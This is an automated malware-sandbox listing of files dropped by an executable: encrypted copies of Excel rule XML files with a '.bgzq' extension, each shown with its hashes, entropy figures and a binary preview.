..<..;....r.6.#.(.."..^.....M..(..8c...[..M......+,X`$.......:...W..11..-..OE.....<*F....F.Xky.......N.Q<.P..Q38...\Rr7..&.M-..K.!X2itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.668335032385921
Encrypted:	false
SSDEEP:	12:M4I73BBpuQBePWum+C5fatrF2R6e5hzlJ4OzcWi5+/0DeL9n9GGTzCT3DDRfgQj9:7MMqumJSFReVJtri9eXGGTGLDDRfRVbD
MD5:	31ED0F08993DBD718D35AEEC2CA08195
SHA1:	90687933077B3139D6C423E575AB9E26F7351DF6
SHA-256:	CCBDED51BA89D79EBC38E98CEF0B6DE17769E6DF04C1C71981A8EF5EBE6B6696
SHA-512:	DBDDA1BF59602DD9D83B276C32EA66CA1FD3A7E5B4A847AA7CBBD501A5DC8072CF0D3776936D98A26F0020E769AF9F0098707394FDB08C600AFACC8C40C9CA34
Malicious:	false
Preview:	<?xml.b..>Z,..Oh..w.s.B=...&;6........b...U.+......7c.8...V..Dd^...g......t/..\|r:0uW5l#.O.0.O....$....A..PZ......g}.$M...p..eS..<W...m.._.DS......"..............v.k..2w..Z..AG.H\.........w/...q.<..AN...-.j.q..z...3.;..AU2F.......C#.U.s..K....S.~5.X!'.A.0l..,.g6.\W.J.5.3...........?.......p..Ld>....slr~V..-. ........'..-.$A.'.k...S....5../.;...8...QM.J.H.YK.{..-.{Qn..e...G.HN.$.S.v......?...(P... I.....j..q....8...`\...J1..4.G....:j,.l.V8...P.l..=.ns..M..H ...?.w..v\...Gw.,...Ez......:.p..G.........P.b...\D.^..eA..0`...h_7W.y.6.v.y......>.H...cv.l..D....a...~G7..v...J.?$.../,y}a;.4.._...7...xR$......Ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.842987780361677
Encrypted:	false
SSDEEP:	24:Hcz8nhBDnn52/O+2sUo4zVITplpMTMWu1LZVbD:Hc4hBDnx+2RBIaTlstFD
MD5:	0BBB9515B0F229D94D0861B4D750B138
SHA1:	7335FDF9D1578E7F51544F23981BF296FE623409
SHA-256:	14F2D651D986BF2E18760054734ECCA308E126F6B719ACA3E31DAF02322E14F0
SHA-512:	A406744390199B7574E960CF85485AC2A8F29F87FD57124C6EA4727331460F38AABC9751FE3665FA7622F0754B494997A27A6D3D9DAB6B3FA44353C233ECAD4D
Malicious:	false
Preview:	<?xml...s,V.#.......F.=..q..Z..ue.w..........)..rOV...v.7M.H.'.x..n8...t..,..a...JfL..1...v.(...&.......z{`..-..k$\|....T~.QO..EW..Q{...p.n..nk.H~...:..8..m..o9wp.>`L{.C..O.m....a.@#D.:......2...i.[.4...n4.@7.oEHk"+.D.K.3...4...^......_s....t......+:.a...%Z.....Q...]....v..I.)..'.F&...7......zP.;.0Dq...5.u..M./y.4A..eo..Bj.xMk.m!9d.-.e...5....r..H..(.#...=,Nl..i'..:.,.z.SgN.."..M.......m.P.>......[..>........B5@.P..1.#.q..o....L..S=.-Y.~..1.67...My_.q...u.........X.......<...^:p."...k..v.._......#~m......w.L6..x.?O.j.<.ye.=."..GL....f.R.&..6..I......1.\:.@3.w=#..x.I.r...:.W/b..o.........Ui.~\|.E..lC..].R..".IX..9S.......5.'.].0.b....#).*r.X.`[.y.)2K.}...<...Z.,...1..... ...G..,).x.%...O...5m1........D.^.z..>.. ....~......<.S....%......2b..#.Y.:9 ys.!.V....h/2.&S.Z.....^.......#T".T.@....{.S.[Il5.A.W...3o...a;uET...`.tk3M.W..5..me...3.N.9 .....Yr..6.......:.!.v..#....@....J..+...nc6l.......H..B..A@.../....k..0..d"....X<>.z.M-.^.p....0...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.80015800928057
Encrypted:	false
SSDEEP:	24:QqYiBN898Tkr7R79W3HqGhvsXryCPOwmn7KQ5nYuVbD:rDBN8aw7RRW3KGh8kW0DFD
MD5:	D73E1A5864793521A77E640145874121
SHA1:	5BCF47B148CB6388191DCB506A2A152645B894B0
SHA-256:	1BEE5DB9995E4834E386940EDF4A95F7687AF9FB69A713471F01670B78ED545F
SHA-512:	8261E9C8F25EAEC6954AF95FF28073937AA04E41A1127AD9AFCB95401FBFD1739FE5D3EAD8ACE28752A6B9C2508D9AED40CFC90B1B99F883E9402488B2988A12
Malicious:	false
Preview:	<?xml.el....#W.o..)!.g...T...Y..j..b..A..Y.Eb=...".....$..D....;..3..\.\Y.......#J.KC..c.Bh...n#1._.a..uf...D..b.5.C..L.H[=..}....V.....-..WS2..?.V..PDjm..yc.p...u2:...g.......M.;T...Kb#...J..n(<..F,...Y.3...Q4..RGP.;..P{.W.....ILS.....e....L....c.%..9.f....)$.L..........//0..o........`.u.;v.NN.g....9.O"c,cY..E.S7.r.F.....+Q.$.....n./t1!...=.Z...:+...3;.F.%..........l.....z...@vr).1tfl.PG}.Og....@..Ro.....%.>....._..DX...80=r..^....k.....{.(W'......HR..T.~.C.OW...fs...].ttT.j..N..f..Y..=........Q..M.:...8..Vi./../.(I.>.@..<@:3.rt{...3......}.>...Z..=P..tm].........lP.=..O.z..1..l6...\|.7..gkGMs2K%F..z6.........f......WM..RX.{.H.V ........h.6...#..fNB. ./?....V.E.:....r..:......\|...5.r......>..~I;S.kL.~F.Q.-...=..;...W..4^.?FQ....GT...?..Z....&..,...U-:.$...u..].Q.;......Ec.j..9.w8....a..F..U..U.u.u.6.....V.i...q.....L...[<m..N'. \*"..nOX.^?..wy.....A(.(X.......B.r^n....-.................\l......l.&W...h.'...aA.e6.Kitkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.738493358674338
Encrypted:	false
SSDEEP:	12:yP0uCLp7qf8l/k2gw8NmM2WSC1n48kY3qFnyJO25dKwexOGS36qYVsonqK10cPeZ:puCLpu8l/DenqFnyJO2GweUYhPcVbD
MD5:	E50996D982332319F2313A5CC48209BC
SHA1:	53936CDD64620951CB70C293CDEEC2EC32A071EB
SHA-256:	96022E898CAA7C2D2167DA7C0A7074353C6A58C771D7DDE3BF681451AF09274B
SHA-512:	E9B5C56388611D8063074980132B24005B9108D0BEDAABCB665357B56B51878FCAA5960BCD8A7DDC9A6BF65CC8F4A7D013999CEDC43D0E06C1E3052D3FFD0C51
Malicious:	false
Preview:	<?xmld.P.Gd...h...>.b. p.u5...^.....~9.=d..D...P.)......C...:.[.......G..l....].a.......On.......r`h.....dg.Du.^Rq...'.}..:...O.j.S.A........%6..!_.......4....P.\.d.m.y..!.....@:3\.M..`...F.Pd.%..S.T/N8..t.....;........s.........7..........`..+a..VKqo.p#.6...c%.../.%....C.Nc.L........\|......^4.:.7rU..a.<I...>.K.......x.k....hY..........\j..V\|...^...OU..X.8E.rs...1......E.:...+.@=T..!1.j..`I...=..v.1.+paS(.n..N.3..pxz.,.g.\3....x.4..L....&.J.*p..N..#v.#..d....[s..S\..H1...I.`.F<.<..'q..B....b\|C..p...(..r....y..\Z.wL_.[...~.;P..j.C...(..D5.i.n...6..#.Y`.....Z...Mv.x....4HTt....].......(Lz]g.m./..7I......... .k...^...B..&.k...F.b.s.,.1i(...!..r.P..\<@....<..V!X.I\~.Q.N..X..F1itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.720670044298903
Encrypted:	false
SSDEEP:	24:byXGOHl6hvBSYXLND3m9x99j5r7vcmMvOmjpPWKb6VbD:bSZlbULN4xF+OK+FD
MD5:	74BDC8AEEF68CC390969959F9FB94350
SHA1:	2B91D53DE65FA4DD7783F6E9EA13C63C5B269C56
SHA-256:	B0E7D99D3F6E584532EED927B03B0C05B45D4394BB5F2746124AEA0F23D0A249
SHA-512:	D9E00328722589A24A1D15A2811D83A9623AF874083746AC1A91ACB1F7573132CE8EE52CA9AE3A2B6DF19788574CE5C299784A9B58D6FF070311F27949F18389
Malicious:	false
Preview:	<?xml.H+.%.....nm.CL.3.t..\|.#.Z:..{......^..q{.....n.?%..."..H....5eVI...X..}gb......7.g.>.......)W...'....5........2.h.r#..q.;P.. ....]V%..o...G.!...........FC0.Q+?..D(.F..1.a.x^<.......5...=.i.702.i0.f.o....v.W....Jrq..v.v.;.F.O.a..=.......~..5.@...5q....7.w..m...?L$v......F\..?.\...m.(..n..2^......!..O....;:I......{....~.....pwo.>I.O./x.l.hJ...x.v...a.7....^...[.K.,0...P......_..o..`...<..G....'D.a.. q&..}.....i....).pk..q.L`\/eh.dJYWW....esw........h....J.W.'.GIg.W.Y6'..L6EmB..\l]9.........%g.jh.LUM....~..a.k.....G...q.rZ..d...2.c..\|.M..Q\|_G.@.y..~Oj6...2..0...w.pQ.5\|.38A...t..Vn.^....l.Nf...Y.h)..`.B.v...L....2.R._x.,........T.2.G.Z.8...>\|../.$W...O3.g..T5.=.f.!..L...:"[.8..,.'.Q.l..^9...Y.2.].......;.;Kq....Witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.740265491956349
Encrypted:	false
SSDEEP:	24:WtqKdEr8lKj7wiAwnUhfvRhr/fvtKhHoihWwTpvrUKVbD:WnFlKjYyUdnrP42LwTphFD
MD5:	0137E804B66C94C82ED5CA1E2F085BF4
SHA1:	8C97E6E3B4D95B016B5DE25C4FF2B4B2386EEDA1
SHA-256:	4219BE611B18A43250D554D7145822A3C7523FD3928F70CEBBFBE8DB0A9543CC
SHA-512:	1EF543B118D0F577B6B269C71F23C474265AD1C7670887A422EA434C0BA5A13C211B8250C9B43F8E5D77E58B43E8B51FD25CAA2A3FE88B73E43C93438EE8DAEF
Malicious:	false
Preview:	<?xml.......q...$u>.....Z.@.-u*.["..'{..c.g..6./B...M.....s..{g..2E.@Cp..mm:....3...FJO...l...f..h..q....l.8.p.b..H....z.<....yq.n.}.p.(#....Y.&...T;?.D-...f..L...);.D..Z..a..xL.5\.QDB....G<.\|].=..H.L....u....2.%.&...m&z.'S........."$..UE@.Y..4....F..Xh#..R+.-.X.U9.1`./...).5c.@^Q{xkK.b.D.\...1..l2..L...>.Q......3...H.T.".r...........U..Q..+.U.F.-...6....M/\|.;.B.;P....!.\|...E..).=....vH..&\|s#..w}.4..8.j....#Nf].._j..w.=..Wz...L...qBX......E5.no@.y....H.+(.g.F....p.x.f'!g.{=...l{U.2..;%..>H..<..... .........Y...../.b..O{.m....1C.....G....=X:}M...s....>U..l.A.;.%..D..5.H..ZO...6..Pj...z.s.....=v.....F.7.88.:..<a."_...v...C.^a....m.jr...\|d..W..Y.."[]g...G..Q...dv.i...~G...4.fS.3...;o..F9..cu?....B....,.._..{.<..8..B..3......x.].I.u:..BXeb0..&..&./.......'K...#8e...a. dc!.LH..}q....P..z.C..L.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.926586230217286
Encrypted:	false
SSDEEP:	96:8ryjfbO4HNoYiHGJXfSggj5uQo8c25Km9:nryqPgS875z
MD5:	2C723195FF058BDA072476FBCFC7ECBD
SHA1:	831F72F111F820A35C392556FD16F208D328DBEE
SHA-256:	015E3BA8469BEDB50A914E5958D706520118E8377FD5BDD03BDBD08FF477AA7F
SHA-512:	EF06383AACCB36E2AB24838FCD4804CFE9A02DF6B7A53E12F09106DF56DD69A20AA3CD27311374DD19DAFB861F615616B48D7242FE610C8A3FE2E65616BEA90E
Malicious:	false
Preview:	<?xml....4....\1.N.%.xK!.T.......4..o.......[..C..N.....DL....$...k.{..?...P..h..m.Vw@..y5..i.. .Ji.......y.E.=....DcG..w."........UJ.".>7.!y.g8M.'.L....H.E...`....J..8...<p.(....^@,8..D+e.{.s.@.....[......\H...+Xw....w..I....Wa...jE..g....H...!.......Q..M.<..c..l+.=.7..-nUP...Y.K.TD...ru.X.':O...(..@.&#5p.au9.. ..^L.2s...%+.$u.q+..........+.m..}.c.N.5.] .$..4j-"...Fw^VZ..@d.U..B9...)[.....7g1m.....P.^...v^:..b.&....o<-w'.K...#k.....L5.-5f.Q...-M.....nsB.'N....V]......V..i.\i..v.,)J.i!.A..z{.M.....,$w.E..V{]....>@...k.."4..OE...rR8...J....f.K4&4..f.YNW#\|H2.Q...^.&..U.......nG...........l...".1.?.].....y..........bU.e....A..;D......A.....%\|#. ..3....R.c...aSGJa......O...(.:(.......#3.6E..b..b..-........B...4...r3.^..E.`.#A..i.C}..*..{.......+..N...{.l7.L..]B.$..}..>u..[.`l^..y..9n......3[..h....s.%kx..".n8.....=..\.}.X[.Z..O2.`iY..cE...&,.f.(........!.......S....]nf..q.:..-<G.e.@V.RY.^.L.&.h..Q.l.=]0.....BXS..1Y..c...:....m...Xj./!

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.760404722779141
Encrypted:	false
SSDEEP:	24:EgiHEtfmHvxgxcBNjUtsFc7Si7E46Y1Ywu9/nVbD:7ikUHyOBytd7Sip6Y1YRvFD
MD5:	807B65197A7DCE4E8CBFEA1642F2DB04
SHA1:	FEBBB145EC2998C309FB397FDFD4FF71195791D8
SHA-256:	84C879D4186A90F1E4BDA525FDF08E53BED9E9A7966C10E940B5BAF948A4D4CE
SHA-512:	AD8D19C27CCE5A343719253F336C3152A51A0E45E629B215367350EED92D89EF822B99706035F621A2ABF5C36E3A1D263E988CBC5AD3C03C9E540FB93304D195
Malicious:	false
Preview:	<?xml1Ff.Y.[.}...C>...?....*.~E..F9.&...Xt&......y...-;.Q.....).}2.F.bQv.+7d4...,H.s../$..-K&..=.....f...5".5....k@.....Y#z.....yzk..u..~JX..R..Rf...!8.I.~....I#kh..1.(ep.x..Z...7I.B9..f.x..c.7%...z.....K..z.1W.v.2...9V..7JZ5..NF0...i.x....IY......U.J.r$...h.d.j..[.....+!...&Jr...!..[(qh.n&.r....x..=O%.......?..?......62.7+t...b.i.Z...-.C.:....}.jX.s........Q.....g.Q.m?k..F.O.5.....v......<...k..?w.r..i)......,40.[..a.3..B7..<F.!/vvs..X..2.9.v...}... ...Cf....O..0....v.....Z.l...:.d.j.L..4.6..Io...Y-.......I.j./]O..9G.f'.....}...J...4<...\...M..B......[........[..vH$...K..Q...@.R...O.h..H.K#8.%`.s...`{...z..5\|..Z..{z..Z.....3....../...i.R.6..rs[0..............C%.i....p+.Nt.T}!0U8...q..d...~..et<.\|.JE._Q.\z..<.-...0.&>2k.:<.#+...h#....!.......9..Y?"].c1..},>.X..!F.p...u.s).@...`b..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.789210719100583
Encrypted:	false
SSDEEP:	24:kht6qKSJwy5zt0t7Ws6E0oaXCRpQjWLHch39+kZVbD:8t6ZcxztwWeQjWL8h39hFD
MD5:	B5C7A4AB2B6C3A175C9D79CC892ABDD4
SHA1:	97F3CB83E89897923C5957194703C57478E79071
SHA-256:	2ABAE8A038E3EAA803F914A532CBB4802FDBB127118D05A0EF7BE9FECD34766D
SHA-512:	D1993F94467F6FC3EC06F0B8101E0896F0906870CFA8DFAFD5C4A571743B14A8D7BB733669662481556FAFCF4918B6FCCE78219EE2B496BDEB7E3B9834C9790C
Malicious:	false
Preview:	<?xml..M.o.'....C...N.q.........!.f....j.(1...3.M...x.grD.6+7....J.mX.K....ISTL..J..9....I....].d....e\..jW.q..-.8.^.=.rIz.?.!....V.z.....L.u.6.".d_.........3.....VF..0...5..z+.4.B...[.za.6DB.=.....e.-j. ..fTB.3...:?1..U.......`...`qk...rs..P<C.....:/...d.q....E.......r....kWW...'C....... .H%.E..(.D....S\|..\../.hj.o....T.....P...=F#X.Q.I.>..^j...aJ.......s.N.x.....y.m.f.N@.hENM;.........:..W....M1x.b)..lg.>8a.8.....i........t..2.xP....K.....m.. .<..N..x<e.....U.....I.UV.n.D}>U.........F.1.......#.2X...Fh2U.......Q.Qh.s.i..g......K.I....9.M<..cI.(......sBk{...:?.s../.c..v,.+..6'.52.....3...<...'(.g.~8...l......VG..D..._a..m...J.>...].....D.$.]....R..T)...z,.w..c.9.Ljmc..h.M.o........R..0.P/.q.....;aBX.Z......d5-..D....n.cw...d........6.L...~I.MP...aC.....Nb..k...V.Z.~S=.ww.S>.}....I..+...m.......l?%G..V..d:...[j..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170053v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.704122922233717
Encrypted:	false
SSDEEP:	12:MORxp3GfA3n1fbosuwTHI59AbrxGMBA9o+VXkQuFUSx7kSoNxjVcii9a:MuD3yA39b3uwTHIraYMutkFFU+kfVbD
MD5:	1EE15FBF6E78E4D77FFDD16084FCF293
SHA1:	DE19A0AE706C91534948051BEDC4F798BE3E395C
SHA-256:	E39CDCE3255A079EE780CBB585318D7DD6200A3C0488A66838F414AE66CB0B0F
SHA-512:	88EAA247B6C3D46C04C4BBB4E8F944818AE76CD738DB24A0CEF62C2725085876A5115FEA823BBB64559077A7C7FADAAAC9D62F4630E5B493F261DA6676E9E781
Malicious:	false
Preview:	<?xml..y...Y.qW.p.%r.k.......]..x6`......v..'.h...)..{.MKi0g......Y.....M....v.%......0....^....$...r.l.y..j.sCd..l..EJ...&.}..R..).f)y....tX....o.JeK.[.+.r..N....im.n..h.....3.n1f....Y.=.....o.Ev..les.\.9.'M.s...[...i@.}..z..?...M.......3..[~wC..R.v3[..^...wh.^.T....TF.'.I.#..}.##5..I...4...1.i........8.....,.s.Ce.V.:.K.T....[....Vk..}..........U...{.U.j......E0hC.6.....d...,.r...]p.2....:F.].Sw.m.,...K.!..2....c.......Xo...-..}_\|......=.,<b..n.[c.."v5G.l.HVPbM4...<h.F?.....?.....h..w..N9...@8.,@.\..S...13z].].....w.@i...6....d.......4&...G...$..-.9.$E...m...S%...b.1x.MX...Y..B/....p-..G.J....l.LU.8k.?..y...a.....-B...lV...+g.K.m8...2,.(J..;.c..........Z.o.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170054v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.798830435507905
Encrypted:	false
SSDEEP:	24:wCxITsNXD1W4mCIrC/gflo7VAp/VaFqZVbD:wCxusNT1qN1lWqp/VqKFD
MD5:	0457274EDB6DF3A54697B82A401CD872
SHA1:	5B4D54D633C207F07BCBF2B4784FBD04AB20B87F
SHA-256:	DED5DBC009A89E62750FD814D7E694CB5CA97F7DDD7630B03FDB49BA15AFD8A3
SHA-512:	2B46962B79ECFA7E07747AE963E915F265E8B258463BCB379EEC96C2F857AA2770B8C67F988E7C046A104664A6A6F35F9EBA298476BB9934ACA4ADD6635A5046
Malicious:	false
Preview:	<?xml.ym..vP.i ...U]..T/....~j.K\|..x.e.{I......,[".e.F..K?%.r..gS....[..+%...x.5....w.r}.y....}Y..'......>.G..P..S.2kD.0;aK.#.HW.+UeH.y..u..... .z%u..v.+...].F......8<....~pH....Q~L...n.$'.....L.<..15....M..s....3...$..pE....* ..T3.8.M..X..A..y...e=cJ\.A...wqc..J+.)....1.UHL.f....D..R..1-.........$....+.].,i,..AD~L..9&_\~.K.......4...mMv{S...i...............F..u...W..K.:.....t@^..B...;....T.a.r@.....+.c...C....f9'....l.g...?K`.1....N.L67..L.......)..KBC.....Y..cF..E..l....b.&....5d.d.BAT.Jd@.+...4.7.d.U). ..w...J.r...5dY.]){G...H....W.....q.\|l...j..p....z.e....=.{..sh........o...5.hg^.N.W....e]R4F..8.[F/%.s.T.T..v...uas.......F^......p..S.W.Y.3..L=$.?..0.9..0...{K.G.1.2.~...z..Y...~=sE..R(j....i.....k....<..T.....0..J./i..6r...Po...a....".}..-W.h..B.....;.1.'y...'.Oi..t..4.qS~..qb..V...H..l3F...z9x...!...w..[./.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170055v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.819087685859143
Encrypted:	false
SSDEEP:	24:GQsT6Awi13tUrj+kSxt84gZX27xYia4xxvxUXHU8eROpVbD:Gf6xi1dUrSk42ZX272iDxJUk8eROpFD
MD5:	DC51FCE94E3668A38027F845EF719751
SHA1:	0D8FF5F5183908E80E806BA6D981E6A329C23AC7
SHA-256:	A52D2F90819ACBECFCD6531F8414FCF79E9BCF60735D37D4ABB637030872DCF1
SHA-512:	7CBC8F9EA1FE88D4652028BD07654CE4678C2646385F3214FA7311F8E542488E9E11FE138AC5FEC7894A1F7D9D859DA843B8FF8AA69E1C57D9F8EFFFA8ED140E
Malicious:	false
Preview:	<?xml"AG..8)%....\..,.<.R....h.'B.B%.j....!t....a.m.%~#.C8b..Dh.}.=Fo....o....o2....s.1....E..j...D..\|.U....gU..7.5..W#.+P...X......=..C~...B..MSI...kT]..F.x...{....e.......:..).(.&.=...'....s$z.e.M.H4.dPc...m..}.LF+..6.);......q.p.%.zOe.0.qR.x...W..=U....-.._..h.m..W.K.&u..m..kG..%.......p.(w.r0h.`.x7.4...... ...1?5......r....[.uY...J;........W..."..dW}"....t.H.c.v/....W:X.)...i.."a<...f..R=.)..?.9.......,(.f.....2.8z(.1....0..\|M.I...`$$.z.d.kv...7o,......j..IqDR.].}.(.^;.....xv.. ....g..m.K$:N.z......w.p...1..AM....kM......B^._...Zw..AO.......y].x<."...`..I.q/..;<.....C.....%._f..F.n.'......V.;R~m..)...lK.....J6.D.-.....W..Bskb....2.b8=.m7.......f..+.u........S.A.}.+......%.T../.... .@.......=v...Mu.E..g..~......A1.0..2-.]. ..z..-..P......6... ..t.j...I....O...J.rX.. ....x......(.3..b.......L..o...w.T.I..k.$.m.J.p.2H2.Ag.../Wt.pE+%.....v...Cu.<..`...6.S.G.B..v[I.=^...?....p+...../......H%.h.U.....=H.......F.....Br.,7.<.6ZR

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170056v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.818007628224472
Encrypted:	false
SSDEEP:	24:PF5HmLuv7Brb+cTrtrPCFPiXCHBqAOesqrzvmSBVbD:PjGiv7sIUtDO8ecFD
MD5:	C861B3C61B0CD74229DE44321B9715A6
SHA1:	495E792B04B459E94078A5476F0A88086488A1F4
SHA-256:	C38D197B3F4D0C3782160FCEB1629699B05527892AD5317FA575AF5F288B9DF4
SHA-512:	8098EC9D1EE8910D0C5B27F05DC97111794E2C11947965DF08674C45AE98CE679AC8CD0C5579A26AE87EB3F865963C174859B7DFB6C0230C61AF688B59733830
Malicious:	false
Preview:	<?xml.m.-..h.E.^..%.4.7..e).18....v...g1u<...R.D.mA..q.nH.&..+.....M..."m./..r.?..Y~.j...S......:Y...@.)~n......F4Q.>.Z....dS..I...{..2.nK[.:l...-.g....ZE......5L...]X=.....bbPg........M...T.;.[a..Ga..6A..P...0.K...$.......;...J...}...J.c...p.)...N.....p0.A......&...C..x.@h.%.(F/](z..,Ar......j..~...c.1f`......[....O.UiV..0...h..2DI.+..H..N.T.{..Rl..e.$...3.....T$.Md...Z..q\|..\]P/hzuOp.....M......J.%....gHj%.'L.oJ........s......T91!d./f.%'3...yx..[..W}.g.....C.".y.....Z....,R.`z.w..../........[i...H...G.Rt.x.+...d......#S.3.. .....C..2.W%....5.......ja..Q.0r..'....-..R.Po.u..&..Bl.....J:.T....4V8..l.-."...>....{G..\..^..&.]-wh.V.Jp.s.\..V"..P.^....fA...^...>..u.S8&..u:...^\.<.^..v.@.K......6#F^Y...-..n.......r.Y......3...[..c.....,N..U}..........._...q.J......w.Q`&Z...\...tL...!....q.R...........ganJb....\|........A.7.>..5..2x....'...D.]~W.-&..2.#itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170058v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.735700411922717
Encrypted:	false
SSDEEP:	12:GpDrbrox44VXzMszrQys415VKFMHOpGmWdQO1f8PmOJMwSwYcyVJ/Ly/cdppjVcq:OrH1CXYsnF1VDSGjQqvZD9pRVbD
MD5:	F8ECCE968C91CC95018578D6D7BA3387
SHA1:	64D4CB16FF2429F9A5BA4AD046C4B642E2590387
SHA-256:	763EF1CE576FD6F080D2B9D37473CF04E936D7CB595943573A3FBF41CA17729B
SHA-512:	58289170559734F42592B7416F4D665466177B24490C7C253904CBEF465D89336CD40B4E88FC68EE87CA66D6F0F0E7F0EC986CB37D2606208477F2F1E10E7D89
Malicious:	false
Preview:	<?xml....[.u.U.\|E......_.G..wt3@..t..fB..>....?..B....&.osP.(...B/..E...f.'!f..;.r..K.l!...-3..V[.N`..."...d......B.dAQv....W...%e.........n.X..R...8....fM.r...`..W.e..~.8v.'....#N.y}4...>.........#...]...E..C{.........`........P"..j.F.E..F.....v4..[....{+T.S..../E.>.u.S...m.W.%...-/..i95.[V..U...].....K.\.......t...l...s......d.@4...2U.RM..$.8.w....v/......<0.v...-CY;f(.I..N.V.....6{q`....^^. Zv..a.(...1.]"oi@.......A....d%.\p....W../...X........&..M.g...X....X.F.[...3....iJN.0c......e`.......*...{R.h...x4d..;.....9..P.{.7.u.r..WM.V.r....J.:+...yO8.Nh.\|..4.X.C/Y%J...3..e..L....A...~=nwg.I...0_.Px}.....P..Y=sF.m02%...a=:!..D..@.y.[............j]..$.P.!M.4.P...2..... ......2..k\~..x..,..KZ.jM...1...8.Z.....B~.1..D.G..M.......H.n...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170059v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.775168562909657
Encrypted:	false
SSDEEP:	24:1gdvApFkGaH+0zqofH3FaJe+HpmMaReJmmboscVbD:1gi3k/+gZ/+Hp1aRSoscFD
MD5:	DC68741D224BA489DA415BD2D2FB0998
SHA1:	D84110FF83693E84E71031F9CA6EE27CEBB3259C
SHA-256:	299B8D0CA61AC6E39ACC1D41C967C8288C0AD19DFF4E5464BE4D1DDE9A0AD5EF
SHA-512:	43ED536B002FBE6F7B4B0466D59192E1E6CDDF6F2B48DB94B2361D4BB29D63908EFB92ABF451AF5C2527D0CFFBC3A9D0C2FBAAFD29DD6612C37F5982D9FB6DB4
Malicious:	false
